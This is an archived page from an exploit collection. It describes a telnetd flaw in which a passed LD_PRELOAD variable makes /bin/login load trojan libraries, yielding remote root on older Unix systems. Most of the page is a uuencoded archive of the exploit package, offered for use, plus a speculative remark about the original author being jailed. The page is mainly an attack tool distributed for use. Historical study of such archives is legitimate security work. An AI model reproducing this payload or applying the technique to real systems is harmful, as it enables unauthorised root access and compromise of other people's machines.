Telnetd Environmental variable passing problem
Description: | A "feature" of most telnetd programs is that they will pass environmental variables (like TERM, DISPLAY, etc) for you. Unfortunately this can be a problem if someone passes LD_PRELOAD and causes /bin/login to load trojan libraries! |
Author: | Well known, squidge (squidge@onyx.infonexus.com) wrote this, but I doubt you can reach him. Isn't he in jail now? |
Compromise: | root REMOTELY! |
Vulnerable Systems: | Older Linux boxes, I think SunOS systems, probably others. |
Date: | January 1996 maybe? Quite old but lives forever like phf. |
Notes: | Appended is a uuencoded version of squidge's telnetd_ex.tar.gz |
begin 600 telnetd_ex.tar.gz
M'XL("/E3(C("`W1E;&YE=&1?97AP;&]I="YT87(`[5IM;QLW$LY7\U<0"8I(
M@;R2;$M.?7?%&8[;&'#BP%&1ZZ%W!;5+:5GODMLEU_+>X?[[S0RY+[*=IE>T
M1H/S(H&L7>YP9CB<>9ZA,K4LC7&[D^C+\9/?Z9I,#B:'DPE\SF:3Z1P^)]/#
M&7YOKR>3^71_/CN<'.P?P/WIP6P^?S)[\@!799TH84I7YL*Y5'YLW(G)B\HI
M_7$C)V@G?4[!R,_DRGKK_T9<R97*Y&^^_M/)9/[Q]9_.9OWUW\/UG^_M01P\
MKO_O?CWCG[RF>^/)P?C+.?N9L7D(';XR)0\Q%5G#GK%G+E6V>UZ4)JEB:;G0
M7&1.EC+IC>>;5,4I7ZMK','Q+K>IS#)>%4:S9TK')E=ZS9W,M'0\-EK+V"FC
M(YQ*.;X1EF]*Y9S4?%ES^U.EDK7DNWR12OY-I;($!C)M0"N]/F([?^4R3@U_
MZ@R/2RF<Y!`#I)$HZQ%W=2%)>5`V>[HU?`WS@VI%?Q!^[XWBO;^#)G\UNKZ)
ME%X9+6\J&X$]3QF^1KKDII0<U$ARR1C,>,2MJ<J8%.)*0ZAF&6/^WA%J4`AK
MN2FDSLR:L7"C?1+%;&<=QWS7M'<,WXV[QWQW]>[LA+$@X:@1U7NQN4,OMH^;
M%T&OHY[L;O"XLN48GH[C$I8B>7_KUE*NE8:;;"=+^&[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/]N2VO6=X0B;"K%TA`(\C;C:E];UH'^54*#7MCF9@N_9>&DFZ0E=O
MT%F-3@DFBB`I%7K=Z!=,%"4(<#?$%-33H4-1*+P%T6X*E"R>8.3)/[Z9Y6)
MT`J'1[2Y('ZK/+06O$L)9IL2-S(`,$V'4OXH1F,#_>Y!3"^H:9M6%N7!JSR'
M&C/B54$`I+X;TDT%]B_;MH"1Q#:71+2E+:@=IQ03^!I)"VX<A0.OL"TI'CU&
M\?E%M-6VIZHE8]I)<)E)9K<;(\BD"$^A<+N0F7V]`OB%<NZ>%M`;!NF"A;VF
M94GP:PSY8&L8-Z47(%V\_;Y/5K;A:R]]H'8G#Z;P)P"YWPY[HRXG$HS#32^=
MPQH#CU4B!>'B@`VI\##,\F?.6^.ET2$>@!3X!#=BN8/I$IF'6IRJ-=2U,_!V
M#1`NDP*I%,RW87A^`_(C$V@E"NN"O!^?'DLC:?!I94E;%W6&R1!SLJ8BH(SW
ME1Z\?W=\>3(<\3?SE[2B-R_GN(OR.BS)TMQ@^2>\"DX`'[V^^,`7%_S=Y<7B
M]&1QQ/R$/=HF:GOK=`H#QS4HV2-JRH\CCX.:C6[%"O9J.%5KRY5::_P582]]
M0RHSH:J2?)"UIMI.Z\1`572YK9;`-WQ%\M`EG'ZB*1"L$.5-NH1`WZC"'[5B
M`O>&;)'7QK%H)ZQ8S3:P[&!.H63L&8NX%BJC>N0)H,&UQ1_0E/Y7F`J!ZM=G
M;X_/S[\[0L@J$$7#C+0P.$!?@9S;!WLU_ZF"@N'Q.AV`L4]V>N\Y$_NY-NN@
>.^;$O8:H:L@^4_SWV`%]O!ZO_]_KOTJQ..``-```
`
end
The master index of all exploits is available
here (Very large file)
Or you can pick your favorite operating system:
This page is part of Fyodor's exploit
world.
For a free program to automate scanning your network for vulnerable
hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: